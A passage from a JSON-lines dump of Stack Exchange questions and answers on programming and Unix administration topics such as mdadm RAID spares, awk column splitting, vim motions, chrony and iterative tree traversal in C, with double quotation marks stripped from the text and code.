$HOME/after/ftplugin/foo.vim for all your filetype specific needs.Wow What a ride!" } { "id": "_cs.74073" , "question": "I am trying to understand the time complexity of the word break problem which uses the backtracking recursive approach. It is O(2^N).Well lets take an example abcd as input with the recursive approach naive, the recursion tree will be something like this abcd /.... \\ /\\ /\\ a bcd..abc d / \\ /\\ b cd So eventually at the end of the tree, I mean the leaves the count will be (2^N). is that right?" , "title": "Why is the time complexity of the word break O(2^N)" , "tags": "algorithms" } { "id": "_unix.83695" , "question": "I have some AIX 7 servers that are restricted to what software I can install and wonder if I can get ksh to use the tab key to complete filenames at the shell promot.The man pages are sparse for ksh and I don't see any relevant questions here covering this ground. Due to the majority of users using ksh, I'm hesitant to shift my shell to bash - but I suppose that's an easy out.I log in initially from a PC using putty/ssh and work mostly from xterm once the X11 forwarding brings back the traffic to Hummingbird Exceed on the PC.Can /usr/bin/ksh that ships with bos.rte.shell for AIX 7.1 be configured to trigger filename completion (which is normally triggered by pressing ESC+\\ ) by pressing the TAB key?" , "title": "Can ksh on AIX be configured to use the tab key for filename completion?" , "tags": "ksh;aix" , "accepted_answer": "See if /usr/bin/ksh93 is available:ksh93 --versionIf it saysversion sh (AT&T Research)then use that as your interactive shell. It will have the ${.sh.version} and should have the TAB expansion." } { "id": "_cs.32554" , "question": "I am trying to classify the Differential Evolution algorithm according to the framework in the book:Introduction to Evolutionary ComputingThe authors classify the field of evolutionary computation into 4 paradigms:Evolutionary programmingGenetic programmingEvolutionary strategiesGenetic algorithmsI have ruled out 1. and 2., since they deal with programs as opposed to abstract optimization problems. I also ruled out 3. since evolutionary strategies maintain an explicit random distribution during the optimization process. That leaves only genetic algorithms. But when you say genetic algorithm, the firs thing that comes to most peoples' minds is the traditional flipping of 0s and 1s. I have personally never heard anybody refer to differential evolution as a genetic algorithm." , "title": "Is Differential Evolution a genetic algorithm?" , "tags": "optimization;genetic algorithms;evolutionary computing" , "accepted_answer": "If you're asking for a homework assignment, then I can't really help you, because the answer really depends on how your professor interprets the taxonomy. But if you're asking for your own edification, I can give you my view.First, the distinctions between the four classes you list (particularly between 1, 3, and 4) are largely historic. There are still some very real differences of course, but we don't view the lines between them as sharply as we once did. This means, for example, that GAs can be real-valued instead of binary and might rely on mutation more than crossover. You can have an evolution strategy for the traveling salesman problem. Really the description in the book isn't terribly well suited for use as a taxonomy for this reason. I teach from this book, and I like it a lot, so that's not really a criticism. I don't think the authors intended for you to try and use it as a well-defined taxonomy either.If we go with this idea as a rough taxonomy though, then in principle, we have an umbrella term: Evolutionary Computation or Evolutionary Algorithms that covers all four of the cases you list. In practice though, while if someone says evolution strategy or genetic programming, it's because they intentionally want to highlight that that's what they're doing, people sometimes say genetic algorithms when they really mean evolutionary algorithms. So that term is especially hard to interpret.So we might be able to call DE a GA with that understanding and be OK, but it really depends on who's asking the question as to whether that's what they had in mind or not.Looking at the problem another way though, it gets even fuzzier. Right now, you're reading someone else's taxonomy and trying to fit the pieces together. What if you take a step back and try to formally define what a genetic algorithm or evolutionary algorithm is yourself? You might come up with something like an algorithm that maintains a population of one or more candidate solutions, usually generated randomly, and continually selects the better individuals from the population, produces new individuals from the old ones via some type of variation operators, and favors the better of these new individuals for insertion into the population.It's hard to get much narrower than that without excluding some things we think are obviously evolutionary algorithms, but this definition is really very broad. Certainly things like differential evolution and particle swarm optimization meet this definition, but so does, for example, simulated annealing. You can even take a simple next-descent hill-climber and call it a (1+1)-ES.Personally then, my answer to your question is sort of. If I write a paper that proposes a novel DE variant that looks super-awesome, I'd absolutely submit it to a journal like Evolutionary Computation. I know that my algorithm would be viewed as being appropriate for a venue that focused on genetic and evolutionary algorithms. But I probably wouldn't tell people that I used a genetic algorithm either, because that term doesn't feel precise enough to capture what it is that I want to express.I'm not sure this is a particularly helpful answer, but I think it's probably a pretty common view among people in the field. " } { "id": "_cs.41199" , "question": "I really get confused by all the different complexities you find around. One is $O(n \\log n)$, the next $O(n \\cdot |\\Sigma|)$. Personally I think it's the last one, but I'm really not that confident with it to say so. Well on average we go $\\log n$ deep and need at max $|\\Sigma|$ steps to find a corresponding node that matches (or not). Thus I would come up with $O(n \\cdot |\\Sigma| \\cdot \\log n)$.Repeat the following for all suffixes of the given string, right to left.Scan if its in tree Not in tree -> add it as new nodeIs partly in tree -> fork here, such that the matching part remainsGo back to step 1 until the sequence that was observed equals the source" , "title": "Suffix Tree algorithm complexity" , "tags": "algorithms;algorithm analysis;data structures;runtime analysis;suffix trees" } { "id": "_ai.1423" , "question": "We, humans, during following multiple processes (e.g. reading while listening to music) memorize information from less focused sources with worse efficiency than we do from our main concentration.Do such things exist in case of artificial intelligences? I doubt, for example that neural networks obtain such features, but I may be wrong." , "title": "Is there any artificial intelligence that possesses concentration?" , "tags": "structured data" , "accepted_answer": "Douglas Hofstadter's CopyCat architecture for solving letter-string analogy problems was deliberately engineered to maintain a semantically-informed notion of 'salience', i.e. given a variety of competing possibilities, tend to maintain interest in the one that is most compelling. Although the salience value of (part of) a solution is ultimately represented numerically, the means by which it determined is broadly intended to correspond (at least functionally) to the way 'selective attention' might operate in human cognition." } { "id": "_unix.152756" , "question": "I've found some anomaly when writing a script.The following examples works as expected:$ echo 123 | awk '{print $1 456}'123456$ sh -c echo 123 | awk '{print $1}'123But the following example, doesn't:$ sh -c echo 123 | awk '{print $1 456}'456I'm expecting to print the 1st column with the additional string, which should return 123456 as it does when running the same command withoutsh -c. But what is happening, the 1st column is ignored for some reason. What's interesting, $1 is printed without problems when not performing string concatenation.Why this is happening and how to do string concatenation within the command which is passed to separate instance of shell?" , "title": "awk: Columns are not printed when concatenating strings is passed as command string" , "tags": "sed;awk" , "accepted_answer": "You must escape $ sign:$ sh -c echo 123 | awk '{print \\$1 456}'123456Otherwise, $1 is expanded by current shell." } { "id": "_scicomp.20060" , "question": "I am setting up a simple model that uses recursion to iterate between known constraints - relaxation, in other words. I need a spreadsheet that allows:A0 50A1 =(A0+A2)/2A2 =(A1+A3)/2A3 =(A2+A4)/2A4 100It should be simple, but OpenOffice and Apple Numbers specifically forbid this. If you know of configuration setting to override this, that would be great too." , "title": "Relaxation - spreadsheet solution to recursive algorithm" , "tags": "numerical modelling" } { "id": "_hardwarecs.2620" , "question": "I'm looking for electromagnetic field reader as demonstrated in the this documentary (shown below):Or some similar device which can do the same (measure EMF fingerprint of the placed object)." , "title": "EMF reader for USB" , "tags": "usb" , "accepted_answer": "I'm finding this hilarious. The pseudoscience is stunning. That device is a pretty standard microphone that was used for attaching to a landline. The proper name escapes me (I'll update) but you can find it as a telephone suction cup microphone for between 5-20 dollars on amazon. I am unable to identify the sound card he is using for the capture, and the software he's using seems to be wavelab. Any good soundcard should work for this I suspectI'd note those things are good fun, and he might be picking up noise off of his power lead. I'm unsure what the seemingly quarter inch connector is leading off of the sound device. " } { "id": "_unix.306286" , "question": "I have a healthy and working software based RAID1 using 3 HDDs as active on my Debian machine.I want to mark one of the disks as a spare so it ends up being 2 active + 1 spare.Things like:mdadm --manage --raid-devices=2 --spare-devices=1 /dev/md0and similar just fail saying either one of the options is not supported in current option mode or simply fails.Billy@localhost~#: mdadm -G --raid-devices=2 /dev/md0mdadm: failed to set raid disksunfreezeorBilly@localhost~#: mdadm --manage --raid-devices=2 --spare-devices=1 /dev/md0mdadm: :option --raid-devices not valid in manage modeor similar. I have no idea man. please help?" , "title": "How to mark one of RAID1 disks as a spare? (mdadm)" , "tags": "hard disk;array;raid1" , "accepted_answer": "You can check the current state of the array with cat /proc/mdstat. In this example, that's where the data comes from.So let's assume we have md127 with 3 disks in a raid1. Here they're just partitions of one disk, but it doesn't mattermd127 : active raid1 vdb3[2] vdb2[1] vdb1[0] 102272 blocks super 1.2 [3/3] [UUU]We need to offline one of the disks before we can remove it:$ sudo mdadm --manage /dev/md127 --fail /dev/vdb2mdadm: set /dev/vdb2 faulty in /dev/md127And the status now shows it's badmd127 : active raid1 vdb3[2] vdb2[1](F) vdb1[0] 102272 blocks super 1.2 [3/2] [U_U]We can now remove this disk:$ sudo mdadm --manage /dev/md127 --remove /dev/vdb2mdadm: hot removed /dev/vdb2 from /dev/md127md127 : active raid1 vdb3[2] vdb1[0] 102272 blocks super 1.2 [3/2] [U_U]And now resize:$ sudo mdadm --grow /dev/md127 --raid-devices=2raid_disks for /dev/md127 set to 2unfreezeAt this point we have successfully reduced the array down to 2 disks:md127 : active raid1 vdb3[2] vdb1[0] 102272 blocks super 1.2 [2/2] [UU]So now the new disk can be re-added as a hotspare:$ sudo mdadm -a /dev/md127 /dev/vdb2mdadm: added /dev/vdb2md127 : active raid1 vdb2[3](S) vdb3[2] vdb1[0] 102272 blocks super 1.2 [2/2] [UU]The (S) shows it's a hotspare.We can verify this works as expected by failing an existing disk and noticing a rebuild takes place on the spare:$ sudo mdadm --manage /dev/md127 --fail /dev/vdb1mdadm: set /dev/vdb1 faulty in /dev/md127md127 : active raid1 vdb2[3] vdb3[2] vdb1[0](F) 102272 blocks super 1.2 [2/1] [_U] [=======>.............] recovery = 37.5% (38400/102272) finish=0.0min speed=38400K/secvdb2 is no longer marked (S) because it's not a hotspare.After the bad disk has been re-added it is now marked as the hotsparemd127 : active raid1 vdb1[4](S) vdb2[3] vdb3[2] 102272 blocks super 1.2 [2/2] [UU]" } { "id": "_softwareengineering.336915" , "question": "I currently work on a hobby project which I use to learn more about Android/Java programming and programming in general. Recently, I decided to integrate jUnit into the project. Just getting it in there wasn't much of a problem, but actually using it was. I've read that a unit test should be the definition of what a method (or component) is supposed to do, and that unit tests force you to write good, or at least better code.But the problems started occurring the moment I wrote the first unit test to test some logic. The method I wanted to test does only logical work, nothing with the UI is done and the results are simply saved in variables for later use. But, in the same class, I have a method to display whatever the first method has worked out. And jUnit doesn't seem to like that; for the second method I need (of course) UI imports, and jUnit complains that it doesn't know any Android Context class. Until now, I thought that putting the logical and UI parts of a component in one class but seperated methods would be easily understandable and an acceptable practice. But now, because jUnit forces you to write good code, I'm much less sure about this.So, should I put the UI and logical parts for one component in seperate classes? They depend on each other, the UI method needs the values from the logical method, but the logical method can't do anything with its computed values without the UI method. But because someone else might think different about this... And that someone else is the one who probably has to understand my code somedays afterall." , "title": "Should I put UI and logic in separate classes?" , "tags": "class design;ui" , "accepted_answer": "UI design patterns like Model-View-Controller, Model-View-Presenter and Model-View-ViewModel routinely provide mechanisms (i.e. separate classes) that allow Separation of Concerns between the surface of the UI and the class that manages it, for the same reasons that you've already cited." } { "id": "_unix.306741" , "question": "I am trying to recover all my deleted folders and files The first step I took was Inode Owner Mode Size Blocks Time deleted8391823 0 120777 3 1/ 2 Wed Jul 6 00:21:52 20166816215 0 120777 3 1/ 2 Tue Aug 30 22:23:12 20166816241 0 120777 3 1/ 2 Tue Aug 30 22:23:12 20166816248 0 120777 2 1/ 2 Tue Aug 30 22:23:12 20166816268 0 120777 2 1/ 2 Tue Aug 30 22:23:12 20166816336 0 120777 2 1/ 2 Tue Aug 30 22:23:12 20166816338 0 120777 2 1/ 2 Tue Aug 30 22:23:12 20166816340 0 120777 2 1/ 2 Tue Aug 30 22:23:12 20168 deleted inodes found.root@kali:~# df /rootFilesystem 1K-blocks Used Available Use% Mounted on/dev/sda5 192360020 12389648 170176020 7% /root@kali:~# debugfs -w /dev/sda5debugfs 1.42.12 (29-Aug-2014)debugfs: lsdeldebugfs: logdump -i <8391823>Inode 8391823 is at group 1024, block 33554564, offset 1792Journal starts at block 24819, transaction 1055643No magic number at block 25323: end of journal.debugfs: logdump -i <6816215>Inode 6816215 is at group 832, block 27263022, offset 2816Journal starts at block 24819, transaction 1055643No magic number at block 25628: end of journal.debugfs: logdump -i <6816241>Inode 6816241 is at group 832, block 27263023, offset 2048Journal starts at block 24819, transaction 1055643No magic number at block 25696: end of journal.debugfs: logdump -i <6816248>Inode 6816248 is at group 832, block 27263023, offset 2944Journal starts at block 24819, transaction 1055643........What would be the next step for me to recover all my files and folders" , "title": "How should I restore my files after I get the following output" , "tags": "kali linux;data recovery" } { "id": "_codereview.49550" , "question": "I am making an application which fetches tweets for a specified amount of time, then inserts those tweets in a database and when the user presses another button the top n words and the hashtags will be shown.This is my Twitter package:[Package]Twitter >[Class]TwitterTools.javaThis is my Analyzing package:[Package]Analyzing >[Class]WordCounting.javaThis is the TwitterTools class:public class TwitterTools { public static List<Status> search(Query query) { } public static void filterTweetsBasedOnCity(List<Status> tweets, final String city) { } public static Query queryMaker(final String keywords, final Date since, final Date until, final int count) { }}search - returns a list of status based on a queryfilterTweetsBasedOnCity - deletes status from a list if they were not made in a certain cityqueryMaker - makes a query based on the parametersThis is the WordCounting class:public class WordCounting { public static String getHtmlTable(final List<String[]> words, final List<String[]> hashtags) { } public static Stream<Map.Entry<String, Long>> getTopWords(final int topX, final Stream<String> words) { } public static String listToHtmlTable(List<Map.Entry<String, Long>> topEntries, final String title) { }}getHtmlTable - returns the html table of the top X wordsgetTopWords - returns a stream of the top wordslistToHtmlTable - converts a list to an html tableMy question is how should I arrange these two packages. Should I merge them since they have only one class each? Should I split them even more by having some of the functions in another class?" , "title": "Putting in order my two packages and possibly merging them" , "tags": "java;classes" , "accepted_answer": "The ideal package structure is one which indicates usage. Classes such as these which exclusively contain static methods are definitely utility classes, which I usually put in a util subpackage of your main application.From what it sounds like, you don't have a main package at the moment which ideally would be your website (in reverse domain order), e.g. com.stackexchange.codereview so that the more specific elements are later, then on top of that you'd have the name of your application which may make it something like com.stackexchange.codereview.tweettrends.This would be the core of your program, and from here you could then add on your extras.The Twitter package in particular doesn't sound helpful: your entire program seems to relate to Twitter so it doesn't really convey what that part of the program does. Frankly, I'd just put all those classes under com.stackexchange.codereview.tweettrends.util and add in more sub-packages if you add more classes.And generally speaking, in Java packages should be exclusively lowercase." } { "id": "_webmaster.4331" , "question": "I've got a shared hosting account on GoDaddy, however my domain name is registered at a seperate company. Assuming I already know how to point my domain name to whatever I want, how do I set up GoDaddy to accept the whatever domain name I want, and how do I find the proper address for my GoDaddy hosting so that I can point my domain name to?" , "title": "GoDaddy shared hosting with domain registed at a different registrar" , "tags": "domains;web hosting;shared hosting" , "accepted_answer": "When you sign up for Godaddy shared hosting they usually send you and email afterwards with the server's IP. Once you have the IP address go to the site that is hosting your domain name and change the Host (A)Record within the DNS setting to reflect the new IP address. It will take an hour or an hour and a half based upon what the TTL is set to." } { "id": "_softwareengineering.313291" , "question": "I am developing an application which sends certain notifications to the user as read from a read-only external service. The user might dismiss notifications, and those should not appear again.I cannot ask the server to give me only entries newer than than my last query because I am particularly interested in a value that changes over time. I have to give entries a chance for at least a week or so. Because of that, the queries to the service might return data which were already retrieved before, and I need to filter the ones already dismissed. I can do that by looking at the IDs of the received entries, which appear to be SHA hashes.I can save those IDs to the Preferences as id -> boolean pairs, or in a SQLite database, but surely they will reach some limit sooner or later.Also, I do not really need to check the older entries. I could put a hard limit on, say, the 100 latest entries and that should be more than enough.How should I approach the disposal of old entries to ensure I don't go over the limits?EDIT: As requested, more information about the problem which might be useful:My query currently is of the form the latest 1000 entries, from newest to oldest, if they are newer than 2 weeks. 1000 is a number so high that is effectively infinite, for the purposes of my application. 2 weeks is a time interval so long that the user should not want to be notified about that information anymore, as it is highly unlikely to become relevant by that time.All entries have a created timestamp. They also have an updated timestamp, which, if exists, should be treated as the created date for the purposes of my application. I do not expect answers to account for this technicality, though.All entries have an importance coefficient, which is the value I am tracking. I notify the user only of entries with this coefficient higher than a set threshold. Since this value changes over time, I cannot simply ignore entries I have already fetched before and found to not be relevant. Changes in this value do not affect the updated field.If the user dismisses the notification about an entry, its notification should be filtered out the next time a query happens. Comparing the IDs is enough for that." , "title": "How to save a list of strings which might grow too large but old data is not useful" , "tags": "design;android" , "accepted_answer": "Just an idea, maybe I misunderstood some parameters of the problem. I'll offer my solution anyway, as a start to work towards something functional.At retrieval time:retrieve from read-only database only entries that are either newer than your last query or newer than 1-2 weeksfilter out the entries that have already been dismissed comparing their ID's with the ones you saved in your SQLite databaseIn addition, if you are afraid to run out of space in your SQLite database, or anyway want to forget about the old dismissed notifications:once every week, check which ones of the entries of your SQLite database are older than 2 weeks (either running a cross-check with the read-only database, or just saving their entrance date in your SQLite database), and delete them" } { "id": "_unix.359453" , "question": "I am trying to deploy an ntp server in my local network, so I followed these steps (i used the tutorial here):apt install chronyAnd I added the following lines:server time.google.com iburstallow 0/0Then I made a :service chrony restartI am suposed to have an output like this:# chronyc sources 210 Number of sources = 2 MS Name/IP address Stratum Poll Reach LastRx Last sample ========================================================================== ^* 192.0.2.12 2 6 177 46 +17us[ -23us] +/- 68ms And this is my output:# chronyc sources210 Number of sources = 1MS Name/IP address Stratum Poll Reach LastRx Last sample ==========================================================================^? time3.google.com 0 8 0 - +0ns[ +0ns] +/- 0nsAs you can see the +0ns[ +0ns] +/- 0ns do not change and the clock does not synchronise with the google server -- where is the problem ?" , "title": "Chrony does not want to synchronize" , "tags": "linux;ntp;chrony" } { "id": "_unix.362839" , "question": "I have a large .csv file where I need to split a specific column by string length. I'm trying to take the last 6 characters of column 2 and move them into a new column.Current:3102017,90131112,0,7403022017,8903944,90,03092017,127037191,475,0Desired:3102017,90,131112,0,7403022017,8,903944,90,03092017,127,037191,475,0" , "title": "Use AWK to split substring by last n characters in to a new column" , "tags": "text processing;awk;sed;perl;csv simple" , "accepted_answer": "With a POSIX-compliant awk:awk -F, -v OFS=, '{sub(/.{6}$/, OFS &, $2); print}'With a POSIX-compliant sed:sed 's/^\\([^,]*,[^,]*\\)\\([^,]\\{6\\}\\)/\\1,\\2/'Those modify the lines only if the second field is at least 6 characters long (note that it will happily change 111,123456,333 to 111,,123456,333 leaving the second field empty)." } { "id": "_unix.22114" , "question": "Is there an easy way to move to the next capital letter with vim? I'm often working with camel-cased variables and it could be useful." , "title": "Move to next capital letter" , "tags": "vim" , "accepted_answer": "There are a few scripts out there to redefine the word motion commands (b, e, w) to stop at capital letters in CamelCase words; camelcasemotion looks well-established (disclaimer: I've never used it). The Vim wiki has a few examples of simpler scripts if you prefer to do it yourself. Here's a relatively simple way to remap C-Left and C-Right to handle caml-cased words.nnoremap <silent><C-Left> :<C-u>call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%^','bW')<CR>nnoremap <silent><C-Right> :<C-u>call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%$','W')<CR>inoremap <silent><C-Left> <C-o>:call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%^','bW')<CR>inoremap <silent><C-Right> <C-o>:call search('\\<\\<Bar>\\U\\@<=\\u\\<Bar>\\u\\ze\\%(\\U\\&\\>\\@!\\)\\<Bar>\\%$','W')<CR>" } { "id": "_softwareengineering.332214" , "question": "First let me explain what is my understanding of the terms statically typed language and type safety:Statically typed language: a language that does not allow you to change the type of a variable at run-time.Type safety: type safety means that you are not allowed to mix incompatible data types.For example, you cannot assign a float to an int, and you cannot assign an int to a function pointer, and you cannot add a user-defined object to an int (unless you use operator overloading), etc.Back to my question, let's say that there is an interpreted statically typed language, in such a language I can write code that assigns a float to an int, but when this code is executed, a (run-time) type error will occur.Is such a language considered to be type safe, or are type safe languages can only be statically typed and compiled, and so type errors must be caught at the compilation stage?" , "title": "Can an interpreted statically typed language be considered type safe?" , "tags": "data types;dynamic typing;static typing;type safety" } { "id": "_codereview.165045" , "question": "I am writing a program which downloads a file from a URL. Because the name of the downloaded file depends on the url, there is a risk of duplication if the user downloads the same file twice. For example if the url is : http://www.example.org/myfile.zip The downloaded file name will be myfile.zip. and if the user downloads it again the name will be myfile(1).zipTo achieve this, I wrote the following code : //A file already exist, we use the usual name //but add a number before the extension like Name(X).extension X being a number //Append the number just before the file extension auto pos = name.find_last_of(.); std::string nameWithoutExt = name.substr(0, pos); std::string extension = name.substr(pos); std::ostringstream possibleName; int i = 1; do { //Clear the string stream possibleName.str(); possibleName.clear(); possibleName<< nameWithoutExt << ( << std::to_string(i) << ) << extension; ++i; //Check if a file with the possible name exists } while (std::experimental::filesystem::exists(builder.str())); name = builder.str();This solution does not look optimal to me, because it may require a lot of calls to std::experimental::filesystem::existsfunction. Are there any ways to improve this?" , "title": "generate a file name with format Name(Number).extension" , "tags": "c++;file;file system;c++14" , "accepted_answer": "There are a couple of improvements that I think you might make to this code.Provide complete code to reviewersThis is not so much a change to the code as a change in how you present it to other people. Without the full context of the code and an example of how to use it, it takes more effort for other people to understand your code. This affects not only code reviews, but also maintenance of the code in the future, by you or by others. One good way to address that is by the use of comments. Another good technique is to include test code showing how your code is intended to be used.Use standard functions where appropriateSince you're already using the experimental/filesystem routines, why not make better use of them? Here is a function called uniqueName which shows one way to do that using your current strategy:fs::path uniqueName(const std::string &name) { fs::path possibleName{name}; auto stem = possibleName.stem().string(); auto ext = possibleName.extension().string(); for (int i=1; fs::exists(possibleName); ++i) { std::ostringstream fn; fn << stem << ( << i << ) << ext; possibleName.replace_filename(fn.str()); } return possibleName;}As suggested by the name of the function, this routine takes the name of a file and either returns it unaltered if no such file exists in the current directory or returns an altered filename as per your schema. Be aware that after this function is called, some other process could create a file with the same name.Create a list and use itAs shown in the review by @yuri, you could create a list and then use that. It has the same potential problem noted above in that another process could create additional files after the list is created. This version does not require any regex:std::unordered_set<std::string> create_file_list(){ std::unordered_set<std::string> m{}; for (const auto item : fs::directory_iterator{fs::current_path()}) { m.emplace(item.path().filename().string()); } return m;}This creates a list of just the filenames (stripping the path). This can then be used in a minor variation of the routine shown above. Note that only a single line is different.fs::path uniqueName(const std::string &name, const std::unordered_set<std::string> files) { fs::path possibleName{name}; auto stem = possibleName.stem().string(); auto ext = possibleName.extension().string(); for (int i=1; files.find(possibleName.string()) != files.end(); ++i) { std::ostringstream fn; fn << stem << ( << i << ) << ext; possibleName.replace_filename(fn.str()); } return possibleName;}" } { "id": "_webapps.88415" , "question": "I read that is not possible to delete sent messages in Facebook here:How can I delete Facebook messages sent to other users?, but an answer there says that there's a work around like this: mark the message as Spam or Abuse (in Actions), then delete it from your messages, and disable/deactivate your account.I tried this but there's not a option to mark my own messages as spam, when I go to the all-chats interface, when I select a conversation with a friend there's a action menu that let me mark something as spam (I believe that's the whole conversation that's fine by me) but I don't know if this would work since I believe that I would be marking as spam their messages and not mine, so if I press that button I think that I would be marking their messages as spam so they would be still able to watch and read my messages.So how this work-around works if I can't mark my own messages as spam before deleting them. I know that this trick work since I have a few conversation when a yellow rectangle appears instead of my friend messages saying that the messages was marked as spam even knowing that I didn't marked their messages as spam." , "title": "How can you mark your own sent messages in a chat as spam in Facebook" , "tags": "facebook;facebook chat;facebook messages" } { "id": "_webmaster.19160" , "question": "I'm trying to optimize my website and running a few tests using webpagetest.org. I tried the test from Singapore and Hongkong. I saw that while all facebook, quantcast, chitika scripts were loading from singapore/hongkong servers, but jquery (google hosted), plusone.js, twitter etc were loading from the mountain view/palo alto/cambridge servers.Since I'm using cloudflare, I can see that one of the JS files that I host on my server was actually loading from one of cloudfare's singapore servers.So is there a real benifit of using google hosted jquery etc? Sample test results are here 1) For my website's home page (http://www.humbug.in) - Test Location Singaporehttp://www.webpagetest.org/result/110904_89_1G8RF/1/details/2) For the url of this question - Test Location Amsterdamhttp://www.webpagetest.org/result/110904_B6_1G93M/1/details/In both cases jquery is being loaded from mountain view servers" , "title": "Do Google/Twitter etc actually use distributed servers to serve their resources?" , "tags": "cdn;page speed;geolocation" } { "id": "_unix.186418" , "question": "This works to change the background color for the entire terminal with xterm:printf '\\033]10;%s\\a\\033]11;%s\\a' Blue RedIt doesn't work in xfce4-terminal, tho. Is there something that will work? Note, I want a command line solution." , "title": "using ansi escape codes to change the background color in xfce4-terminal" , "tags": "colors;escape characters;xfce4 terminal" } { "id": "_computergraphics.170" , "question": "It is no secret that according to the official documentation extensions are not available under OpenGL ES 2.0. Nevertheless, the glext.h file present in the NDK platform-include directories makes me think that extensions are indeed available. I know that working with OpenGL under NDK doesn't differ from working with standalone OpenGL. So, if I make something like a JNI bridge between my java engine interface and these extensions, I could use them.So the question is: what architectural solution should I use if I want to use available OpenGL ES extensions on ES2.0 devices?" , "title": "Using extensions in Android OpenGL ES 2.0" , "tags": "opengl;android" } { "id": "_softwareengineering.216899" , "question": "In Python we have yield which is very similar to that one which is proposed in ES6 (in fact, pythonic co-routines were the main source of inspiration for implementing co-routines inI wonder what are the reasons for choosing a separate function* () syntax for generators compared to just defining regular functions with yeilds - just like in python by the way? I'm talking strictly of technical issues and peculiarities. Why it had been decided that a separate form will be more appropriate? " , "title": "Are there any technical obstacles for implementing `function* ()` syntax" , "tags": "javascript" , "accepted_answer": "Because code that uses yield normally as variable would change its meaning:function test() { var yield = 3; return yield + 2 //in current javascript this means return 5 //but if yield syntax was enabled for all //functions then it would secretly change meaning}" } { "id": "_codereview.166496" , "question": "I've to simulate exactly a recursive algorithm with an iterative one.Assuming that I have a binary search tree that contains only a key and two references at his right and left child I want to do this count:CountOddRec(T) ret = 0 if T != NIL then if T->key % 2 = 1 then ret = T->key rsx = CountOddRec(T->sx); rdx = CountOddRec(T->dx); ret = ret + rsx + rdx; return retBasically my idea is to use the general scheme of iterative binary tree visit to do that:VisitIter(T) last = NIL curr = T stk = NULL while (curr != NIL || stk != NIL) do if curr != NIL then //Pre-order visit stk = push(stk, curr) next = curr->sx else curr = Top(stk) if (last != curr-> dx) then //In-order visit if (last != curr-> dx && curr->dx != NULL) then next = curr->dx else //Post-order visit stk = pop(stk) next = NIL last = curr curr = nextNow I know that this one should be in Pre-order block: if T->key % 2 = 1 then ret = T->keyThe rsx = assignment should be in-order, and rdx = assignment and last block should be in post-order.Now here I'm stuck, I ask if someone could help me to understand how finish the algorithm.This is my first attempt that should work:CountOddIter(T) last = NIL curr = T stk = NULL //stack Sret = NULL //stack Srsx = NULL //stack ret = 0 while (curr != NIL || stk != NIL) do ret = 0 if curr != NIL then //Pre-order block if (curr->key % 2 == 1) then ret = curr->key Sret = push(Sret, ret) stk = push(stk, curr) next = curr->sx else curr = Top(stk) if (last != curr-> dx) then //In-order block Srsx = push(Srsx, pop(Sret)) if (last != curr-> dx && curr->dx != NULL) then next = curr->dx else //Post-order block rdx = pop(Sret) rsx = pop(Srsx) r = pop(Sret) ret = rdx + rsx + r Sret = push(Sret, ret) stk = pop(stk) next = NIL last = curr curr = nextThis solutions works if I assume that a pop on an empty stack returns 0.Any other suggestions? Improvements? Is it really correct? Please can I have some feedback?Many thanksWorking code (main.c):#include <stdio.h>#include <stdlib.h>#include stack.h#include stack_int.h#include tree.hint countOddRic(tree_p T){ int ret = 0; if(T != NULL){ if(T->key % 2 == 1){ ret = T->key; } int rsx = countOddRic(T->left); int rdx = countOddRic(T->right); ret = ret + rsx + rdx; } return ret;}int countOddIte(tree_p T){tree_p curr = T;tree_p next = NULL;tree_p last = NULL;stack *S = init_stack(100);stack_int *Sret = init_stackInt(100);stack_int *Srsx = init_stackInt(100);int ret = 0;while(curr != NULL || !isEmptyStack(S)){ ret = 0; if(curr != NULL){ //printf(pre-order: %d\\n, curr->key); if(curr->key % 2 == 1){ ret = curr->key; } Sret = pushInt(Sret, ret); S = push(S, curr); next = curr->left; }else{ curr = top(S); if(last != curr->right){ //printf(in-order: %d\\n, curr->key); Srsx = pushInt(Srsx, popInt(Sret)); } if(last != curr->right && curr->right != NULL){ next = curr->right; }else{ //printf(post-order: %d\\n, curr->key); int rdx = popInt(Sret); int rsx = popInt(Srsx); int r = popInt(Sret); ret = rdx + rsx + r; Sret = pushInt(Sret, ret); pop(S); next = NULL; } } last = curr; curr = next;}printf(\\nRet = %d\\n, ret);}int main(void){tree_p T = NULL;insert(&T, 54);insert(&T, 12);insert(&T, 46);insert(&T, 78);insert(&T, 6);insert(&T, 434);insert(&T, 44);insert(&T, 4);insert(&T, 552);insert(&T, 216);insert(&T, 47);insert(&T, 892);insert(&T, 74);insert(&T, 62);insert(&T, 414);insert(&T, 4442);insert(&T, 86);insert(&T, 4618);insert(&T, 798);insert(&T, 74);insert(&T, 554);insert(&T, 45);insert(&T, 776);insert(&T, 98);insert(&T, 36);insert(&T, 211);insert(&T, 24);printf(Count: %d\\n, countOddRic(T));countOddIte(T);return 0;}stack.c:#include stack.hstack *init_stack(int size) {stack *S = (stack*) malloc(sizeof(stack));if (S == NULL) { exit(-1);}S->size = size;S->array = (tree_p*) malloc(size * sizeof(tree_p));if (S->array == NULL) { exit(-1);}S->last = 0;return S;}int isEmptyStack(stack *S) {return S->last == 0;}int isFullStack(stack *S) {return S->last == S->size - 1;}stack *push(stack *S, tree_p elem) {if (isFullStack(S)) return S;S->last++;S->array[S->last] = elem;return S;}tree_p pop(stack *S) {if (isEmptyStack(S)) return ERR_EMPTY_STACK;S->last--;return S->array[S->last + 1];}tree_p top(stack *S) {if (isEmptyStack(S)) return ERR_EMPTY_STACK;return S->array[S->last];}void freeStack(stack *S){if(S != NULL){ free(S->array); S->array = NULL; free(S);}}void printStack(stack *S) {if (isEmptyStack(S)) return;tree_p e = pop(S);printf(|%d, e->key);printStack(S);push(S, e);}stack.h:#include <stdio.h>#include <stdlib.h>#include <time.h>#include tree.h#ifndef STACK_H_#define STACK_H_#define ERR_EMPTY_STACK NULLtypedef struct { int size; int last; tree_p *array;} stack;stack *init_stack(int size);void fillRandomStack(stack *S, int nElem);int isEmptyStack(stack *S);int isFullStack(stack *S);stack *push(stack *S, tree_p elem);tree_p pop(stack *S);tree_p top(stack *S);void freeStack(stack *S);void printStack(stack *S);#endifstack_int.c:#include stack_int.hstack_int *init_stackInt(int size) { stack_int *S = (stack_int*) malloc(sizeof(stack_int)); if (S == NULL) { exit(-1); } S->size = size; S->array = 